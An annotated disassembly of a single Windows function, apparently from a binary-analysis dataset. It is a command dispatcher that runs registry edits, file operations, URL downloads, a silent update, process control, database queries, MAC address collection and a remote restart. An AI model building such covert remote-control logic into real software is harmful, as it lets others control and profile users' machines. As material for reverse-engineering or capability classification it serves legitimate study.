Function at 0x412d10
Capabilities:
Create process on windows
Download url
Get geographical location
Receive data
Set registry value
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x430fa7
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x43c4c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [eax], ebx
mov dword [ebp - 0x1c4], eax
xor eax, eax
mov word [ebp - 0x68], ax
push 0x13
mov eax, str.ProcessingCommand:
lea esi, [ebp - 0x68]
mov edi, edx
mov dword [ebp - 0x1c0], ecx
mov dword [ecx], ebx
mov dword [ebp - 0x54], 7
mov dword [ebp - 0x58], ebx
call fcn.00406cf0
mov ecx, esi
push ecx
mov eax, edi
lea ecx, [ebp - 0xa0]
mov dword [ebp - 4], ebx
call fcn.0040dc70
add esp, 4
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [0x43ee8c]
mov edx, eax
call fcn.0040b4e0
cmp dword [ebp - 0x8c], 8
jb 0x412dba
mov edx, dword [ebp - 0xa0]
push edx
call fcn.00418932
add esp, 4
xor eax, eax
mov esi, 7
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x54], 8
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x90], ebx
mov word [ebp - 0xa0], ax
jb 0x412ded
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.00418932
add esp, 4
xor eax, eax
xor edx, edx
mov dword [ebp - 0x38], esi
mov word [ebp - 0x4c], ax
mov dword [ebp - 0x54], esi
push 3
mov eax, 0x43649c
lea esi, [ebp - 0x4c]
mov dword [ebp - 0x58], ebx
mov word [ebp - 0x68], dx
mov dword [ebp - 0x3c], ebx
call fcn.00406cf0
mov dword [ebp - 4], 2
xor ecx, ecx
mov eax, edi
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], ebx
mov word [ebp - 0x30], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x412e30
sub eax, edx
sar eax, 1
push eax
mov eax, edi
lea esi, [ebp - 0x30]
call fcn.00406cf0
lea edx, [ebp - 0x4c]
push edx
mov ecx, esi
lea edx, [ebp - 0x1d4]
mov byte [ebp - 4], 3
call fcn.00410200
add esp, 4
mov edi, 8
cmp dword [ebp - 0x1c], edi
jb 0x412e78
mov eax, dword [ebp - 0x30]
push eax
call fcn.00418932
add esp, 4
mov esi, 7
xor ecx, ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], ebx
mov word [ebp - 0x30], cx
mov byte [ebp - 4], 6
cmp dword [ebp - 0x38], edi
jb 0x412e9e
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00418932
add esp, 4
mov ecx, dword [ebp - 0x1d0]
xor eax, eax
mov word [ebp - 0x4c], ax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x1d4]
sub ecx, ebx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x1bc], eax
je 0x413628
mov eax, dword [ebx + 0x10]
push str.RegistryHelper.SetValue
mov edi, 0x17
mov ecx, ebx
call fcn.00409300
test eax, eax
jne 0x412f32
cmp dword [ebp - 0x1bc], 6
jne 0x413628
cmp dword [ebx + 0x84], 8
lea eax, [ebx + 0x70]
lea ecx, [ebx + 0x8c]
jb 0x412f10
mov eax, dword [eax]
push ecx
push eax
call fcn.0041adcf
add esp, 4
push eax
lea ecx, [ebx + 0x54]
push ecx
lea edx, [ebx + 0x38]
lea ecx, [ebx + 0x1c]
call fcn.0040f5c0
add esp, 0xc
jmp 0x413141
mov eax, dword [ebx + 0x10]
push str.RegistryHelper.DeleteValue
mov edi, 0x1a
mov ecx, ebx
call fcn.00409300
test eax, eax
jne 0x412f7f
cmp dword [ebp - 0x1bc], 4
jne 0x413628
lea eax, [ebx + 0x54]
push eax
lea edx, [ebx + 0x38]
lea ecx, [ebx + 0x1c]
call fcn.0040f7d0
mov esi, dword [ebp - 0x1c4]
cdq
add esp, 4
push edx
push eax
call fcn.00410470
add esp, 8
jmp 0x413620
mov eax, dword [ebx + 0x10]
push str.RegistryHelper.CreateKey
mov edi, 0x18
mov ecx, ebx
call fcn.00409300
test eax, eax
jne 0x412fb5
cmp dword [ebp - 0x1bc], 4
jne 0x413628
lea edx, [ebx + 0x54]
push edx
lea edx, [ebx + 0x38]
lea ecx, [ebx + 0x1c]
call fcn.0040f960
jmp 0x412f66
mov eax, dword [ebx + 0x10]
push str.RegistryHelper.DeleteKey
mov ecx, ebx
call fcn.00409300
test eax, eax
jne 0x412fe6
cmp dword [ebp - 0x1bc], 4
jne 0x413628
lea edx, [ebx + 0x54]
push edx
lea edx, [ebx + 0x38]
lea ecx, [ebx + 0x1c]
call fcn.0040fb00
jmp 0x412f66
mov esi, str.SysUtils.SetRestorePoint
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x413080
cmp dword [ebp - 0x1bc], 5
jne 0x413628
sub esp, 0x1c
lea edx, [ebx + 0x70]
mov ecx, esp
mov dword [ebp - 0x1bc], esp
push edx
call fcn.004061c0
mov edx, 8
cmp dword [ebx + 0x68], edx
jb 0x41302a
mov ecx, dword [ebx + 0x54]
jmp 0x41302d
lea ecx, [ebx + 0x54]
cmp dword [ebx + 0x4c], edx
jb 0x413037
mov edi, dword [ebx + 0x38]
jmp 0x41303a
lea edi, [ebx + 0x38]
cmp dword [ebx + 0x30], edx
lea esi, [ebx + 0x1c]
jb 0x413044
mov esi, dword [esi]
push ecx
call fcn.0041adda
add esp, 4
push edx
push eax
push edi
call fcn.0041adb9
add esp, 4
push esi
mov edi, eax
call fcn.0041adb9
add esp, 4
push eax
mov ecx, edi
call fcn.00417930
mov esi, dword [ebp - 0x1c4]
push edx
push eax
call fcn.00410470
add esp, 0x30
jmp 0x413620
mov esi, str.IOHelper.FileCopy
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x4130ce
cmp dword [ebp - 0x1bc], 4
jne 0x413628
lea ecx, [ebx + 0x54]
mov esi, str.true
call fcn.00408e80
movzx edx, al
push edx
lea eax, [ebx + 0x1c]
lea ecx, [ebx + 0x38]
push eax
call fcn.0040adc0
mov esi, dword [ebp - 0x1c4]
push eax
call fcn.00410430
add esp, 0xc
jmp 0x413620
mov esi, str.IOHelper.Delete
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x4130fd
cmp dword [ebp - 0x1bc], 2
jne 0x413628
lea edx, [ebx + 0x1c]
push edx
call fcn.0040b030
add esp, 4
push eax
jmp 0x413612
mov esi, str.IOHelper.DownloadFile
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x41315f
cmp dword [ebp - 0x1bc], 3
jne 0x413628
lea eax, [ebx + 0x38]
mov edx, 8
lea ecx, [ebx + 0x1c]
cmp dword [eax + 0x14], edx
jb 0x41312c
mov eax, dword [eax]
cmp dword [ecx + 0x14], edx
jb 0x413133
mov ecx, dword [ecx]
push 0
push 0
push eax
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov esi, dword [ebp - 0x1c4]
cdq
push edx
push eax
call fcn.00410470
mov edx, dword [ebp - 0x1c0]
add esp, 8
mov dword [edx], eax
jmp 0x413628
mov esi, str.Update
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x413302
cmp dword [ebp - 0x1bc], 3
jne 0x413628
mov esi, dword [ebp - 0x1c4]
push 1
call fcn.00410430
mov ecx, dword [ebp - 0x1c0]
mov dword [ecx], eax
add esp, 4
mov eax, str.Update_begin
lea ecx, [ebp - 0xbc]
call fcn.00406de0
lea edx, [ebp - 0xbc]
push edx
mov byte [ebp - 4], 7
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [0x43ee8c]
mov edx, eax
call fcn.0040b4e0
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 6
call fcn.00406e20
mov ecx, 0x44
lea eax, [ebp - 0x22c]
mov byte [eax], 0
inc eax
dec ecx
jne 0x4131e0
push str.__SP___VERYSILENT__updateModetrue__LOGupdate.log__countryCode
lea esi, [ebx + 0x1c]
lea eax, [ebp - 0x1b8]
push esi
push eax
mov dword [ebp - 0x22c], 0x44
call fcn.00415990
add esp, 0xc
mov ecx, eax
lea eax, [ebx + 0x38]
lea ebx, [ebp - 0x84]
mov byte [ebp - 4], 8
call fcn.00415a80
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0xa
call fcn.00406e20
lea ecx, [ebp - 0x19c]
push str.Update:
push ecx
call fcn.00408eb0
add esp, 8
mov byte [ebp - 4], 0xb
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call edi
mov ecx, dword [0x43ee8c]
mov edx, eax
call fcn.0040b4e0
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 0xa
call fcn.00406e20
mov ecx, dword [ebp - 0x84]
mov eax, 8
cmp dword [ebp - 0x70], eax
jae 0x41327b
mov ecx, ebx
cmp dword [esi + 0x14], eax
jb 0x413282
mov esi, dword [esi]
lea edx, [ebp - 0x1e4]
push edx
lea eax, [ebp - 0x22c]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push ecx
call fcn.0041af31
add esp, 4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, str.Update_end
lea ecx, [ebp - 0x164]
call fcn.00406de0
lea ecx, [ebp - 0x164]
push ecx
mov byte [ebp - 4], 0xc
call edi
mov ecx, dword [0x43ee8c]
mov edx, eax
call fcn.0040b4e0
lea ecx, [ebp - 0x164]
call fcn.00406e20
lea ecx, [ebp - 0x84]
mov dword [0x43f0a0], 1
call fcn.00406e20
mov ebx, dword [ebp - 0x1d4]
jmp 0x413628
mov esi, str.Initialize
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x413351
cmp dword [ebp - 0x1bc], 3
jne 0x413628
lea edx, [ebx + 0x38]
push edx
lea ecx, [ebx + 0x1c]
call fcn.0040ef00
mov esi, dword [ebp - 0x1c4]
xor ecx, ecx
add esp, 4
test al, al
setne cl
push ecx
call fcn.00410430
mov edx, dword [ebp - 0x1c0]
add esp, 4
mov dword [edx], eax
jmp 0x413628
mov esi, str.Process.Start
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x4133be
cmp dword [ebp - 0x1bc], 7
jne 0x41338f
mov eax, dword [ebp - 0x1c4]
push eax
lea ecx, [ebx + 0xa8]
push ecx
lea edx, [ebx + 0x1c]
push edx
mov edx, dword [ebp - 0x1c0]
lea ecx, [ebx + 0x38]
call fcn.0040e070
jmp 0x413628
mov eax, str.The_Process.Start_didnt_receive_7_arguments.
lea ecx, [ebp - 0x110]
call fcn.00406de0
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 0xd
call fcn.00410000
lea ecx, [ebp - 0x110]
call fcn.00406e20
jmp 0x413628
mov esi, str.Process.HasExited
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x413420
cmp dword [ebp - 0x1bc], 2
jne 0x4133f1
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x1c4]
lea eax, [ebx + 0x1c]
push eax
call fcn.0040de80
jmp 0x413628
mov eax, str.The_Process.HasExited_didnt_receive_2_arguments.
lea ecx, [ebp - 0xd8]
call fcn.00406de0
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0xe
call fcn.00410000
lea ecx, [ebp - 0xd8]
call fcn.00406e20
jmp 0x413628
mov esi, str.Process.Stop
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x413473
cmp dword [ebp - 0x1bc], 2
jne 0x413444
call fcn.0040ebb0
push eax
jmp 0x413612
mov eax, str.The_Process.Stop_didnt_receive_2_arguments.
lea ecx, [ebp - 0xf4]
call fcn.00406de0
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0xf
call fcn.00410000
lea ecx, [ebp - 0xf4]
call fcn.00406e20
jmp 0x413628
mov esi, str.DB.ExecuteNonQuery
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x4134d8
cmp dword [ebp - 0x1bc], 2
jne 0x4134a9
mov ecx, dword [ebp - 0x1c0]
mov edi, dword [ebp - 0x1c4]
lea edx, [ebx + 0x1c]
push edx
call fcn.00415bd0
add esp, 4
jmp 0x413628
mov eax, str.The_DB.ExecuteNonQueryEx_didnt_receive_the_query_sql_to_execute.
lea ecx, [ebp - 0x148]
call fcn.00406de0
lea ecx, [ebp - 0x148]
mov byte [ebp - 4], 0x10
call fcn.00410000
lea ecx, [ebp - 0x148]
call fcn.00406e20
jmp 0x413628
mov esi, str.DB.ExecuteScalar
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x41353d
cmp dword [ebp - 0x1bc], 2
jne 0x41350e
mov eax, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x1c4]
push eax
lea ecx, [ebx + 0x1c]
call fcn.00416080
add esp, 4
jmp 0x413628
mov eax, str.The_DB.ExecuteScalarEx_didnt_receive_the_query_sql_to_execute.
lea ecx, [ebp - 0x180]
call fcn.00406de0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0x11
call fcn.00410000
lea ecx, [ebp - 0x180]
call fcn.00406e20
jmp 0x413628
mov esi, str.DB.ExecuteReader
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x4135a3
cmp dword [ebp - 0x1bc], 2
jne 0x413574
mov ecx, dword [ebp - 0x1c0]
mov edi, dword [ebp - 0x1c4]
push ecx
lea edx, [ebx + 0x1c]
push edx
call fcn.00416940
add esp, 8
jmp 0x413628
mov eax, str.The_DB.ExecuteReader_didnt_receive_the_query_sql_to_execute.
lea ecx, [ebp - 0x12c]
call fcn.00406de0
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 0x12
call fcn.00410000
lea ecx, [ebp - 0x12c]
call fcn.00406e20
jmp 0x413628
mov esi, str.NetworkHelper.GetAllMACAddresses
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x4135d9
cmp dword [ebp - 0x1bc], 1
jne 0x413628
mov eax, dword [ebp - 0x1c0]
mov ebx, dword [ebp - 0x1c4]
push eax
call fcn.0040d1c0
mov ebx, dword [ebp - 0x1d4]
add esp, 4
jmp 0x413628
mov esi, str.InitiateRestart
mov ecx, ebx
call fcn.00408e80
test al, al
je 0x413628
cmp dword [ebp - 0x1bc], 1
jne 0x413628
push 1
xor esi, esi
push esi
push 0xf
push esi
push str.127.0.0.1
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
test eax, eax
jne 0x413611
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
mov esi, dword [ebp - 0x1c4]
call fcn.00410430
add esp, 4
mov ecx, dword [ebp - 0x1c0]
mov dword [ecx], eax
test ebx, ebx
je 0x413642
mov edi, dword [ebp - 0x1d0]
mov eax, ebx
call fcn.004157f0
push ebx
call fcn.00418932
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041893d
mov esp, ebp
pop ebp
ret